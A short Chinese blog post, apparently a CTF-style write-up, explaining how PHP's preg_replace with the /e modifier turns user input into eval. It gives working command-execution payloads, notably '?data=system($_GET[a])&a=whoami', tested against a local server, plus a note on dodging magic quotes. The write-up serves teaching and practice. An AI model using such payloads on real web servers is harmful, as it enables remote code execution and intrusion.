【无标题】

php 复制代码
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

关键的代码如下

php 复制代码
echo preg_replace("/(.*)/e", "\\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。

下面是关于正则表达式的拆解:

. = 匹配单个字符

* = 匹配前面的内容0次或者多次

( ) = 将匹配的内容包裹起来

后面的\\1表示引用第一个括号里面的内容

那么这个代码其实等价于

php 复制代码
echo eval($input);

如果我们直接传递下面的payload,就会出现报错

php 复制代码
?data=system('ls')

原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'

下面是我本地测试的payload,用whoami检测命令是否可行

php 复制代码
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami

成功执行

相关推荐
kingx32 小时前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
菩提小狗21 小时前
每日安全情报报告 · 2026-11-07
网络安全·漏洞·cve·安全情报·每日安全
不庸.1 天前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
liferecords2 天前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
FungLeo2 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
菩提小狗3 天前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全
QZ166560951593 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
网络·人工智能·安全·网络安全·政务
0xBADCODE3 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
其实防守也摸鱼4 天前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
m0_715674434 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务